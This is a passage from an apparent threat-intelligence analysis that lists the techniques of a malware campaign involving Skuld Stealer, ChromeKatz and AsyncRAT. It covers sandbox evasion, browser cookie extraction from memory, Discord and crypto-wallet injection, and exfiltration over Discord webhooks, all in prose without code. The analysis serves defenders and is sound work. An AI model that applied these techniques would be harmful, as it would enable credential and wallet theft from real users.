    • Procedure: Malware binaries employ a simple XOR cipher with single-byte keys to encrypt critical strings and dynamically resolve Windows API function names (e.g., using GetProcAddress).
  • Technique: Argument-Based Execution (Sandbox Evasion)
    • Procedure: The first-stage downloader requires specific command-line arguments (e.g., -arg1) to activate its malicious functionality; without them, it performs benign junk calls and exits, making it appear non-malicious in basic sandbox environments.
  • Technique: Time-Based Evasion (Multi-Stage Execution Delay)
    • Procedure: The second-stage downloader introduces significant delays: upon initial execution, it downloads a payload (updatelog) and exits. Only on subsequent executions (triggered by the scheduled task) does it decrypt and execute the payload. This process can accumulate delays of 15 minutes or more before malicious behavior becomes visible, evading automated sandboxes.
  • Technique: Sandbox Evasion (Contextual Execution Check)
    • Procedure: Key malware components (e.g., ChromeKatz) check for the presence of a specific file (settings.txt) created by earlier stages of the infection chain. If this file is missing (as in an isolated sandbox environment), the component will not proceed with its malicious activities.
  • Technique: Mutex Usage
    • Procedure: The Skuld Stealer creates a mutex with a unique name upon execution (e.g., a GUID-like string) to prevent multiple instances of itself from running simultaneously on the compromised system.

Phase: Discovery & Collection

  • Technique: System Information Discovery
    • Tool: Skuld Stealer
    • Procedure: Gathers system details including CPU, GPU, RAM, IP address, geolocation, and Wi-Fi network information.
  • Technique: Browser Data Theft (Credentials, Cookies, History)
    • Tool: Skuld Stealer, ChromeKatz
    • Procedure: Steals user credentials (logins, credit cards), browser history, and cookies from Chromium-based (e.g., Chrome, Edge, Brave) and Gecko-based browsers.
  • Technique: Discord Token Theft
    • Tool: Skuld Stealer
    • Procedure: Extracts Discord authentication tokens from the compromised system.
  • Technique: Cryptocurrency Wallet Data Theft
    • Tool: Skuld Stealer
    • Procedure: Collects sensitive data from cryptocurrency wallets, including mnemonic phrases and passwords.
  • Technique: Browser Application-Bound Encryption (ABE) Bypass
    • Tool: ChromeKatz
    • Procedure: Directly accesses and extracts decrypted cookies from the memory of updated Google Chrome and Chromium-based browsers, bypassing ABE.
  • Technique: Process Memory Access for Data Extraction
    • Tool: ChromeKatz
    • Procedure: Identifies and traverses specific memory structures (e.g., CookieMap B-trees) within the browser's child processes (e.g., NetworkService) to extract cookie data directly from memory.
  • Technique: Discord Application Data Interception (Injection)
    • Tool: Skuld Stealer (via Discord injection module)
    • Procedure: Injects malicious code into Discord to intercept sensitive user operations (e.g., login, password changes, payment information), prevent viewing of devices, and block QR logins.
  • Technique: Gaming Platform Session Collection
    • Tool: Skuld Stealer
    • Procedure: Collects user sessions from various popular gaming platforms (e.g., Epic Games, Minecraft, Riot Games, Uplay).

Phase: Impact

  • Technique: Wallet Application Replacement (Wallet Injection)
    • Tool: Skuld Stealer
    • Procedure: Replaces legitimate cryptocurrency wallet application archive files (e.g., app.asar for Exodus and Atomic wallets) with malicious, modified versions downloaded from attacker-controlled GitHub repositories.
  • Technique: Malicious JavaScript Injection
    • Tool: Skuld Stealer (via injected .asar files)
    • Procedure: Injected JavaScript code within the compromised wallet application specifically targets functions like the "unlock" mechanism to extract user-entered passwords and seed phrases, which are then prepared for exfiltration.
  • Technique: Remote Access Trojan (RAT) Capabilities
    • Tool: AsyncRAT
    • Procedure: Provides attackers with extensive remote control over infected systems, enabling them to execute arbitrary commands and scripts, perform keylogging and screen capturing, and manage files (upload, download, delete).

Phase: Exfiltration

  • Technique: Data Exfiltration over Discord Webhooks
    • Tool: Skuld Stealer, ChromeKatz
    • Procedure: Collected sensitive data (browser credentials, system information, Discord tokens, crypto wallet data, cookies) is sent to attacker-controlled Discord webhooks.
    • Procedure: Stolen browser cookies are compressed into an archive file (e.g., exported_cookies.zip) before being exfiltrated via Discord webhooks.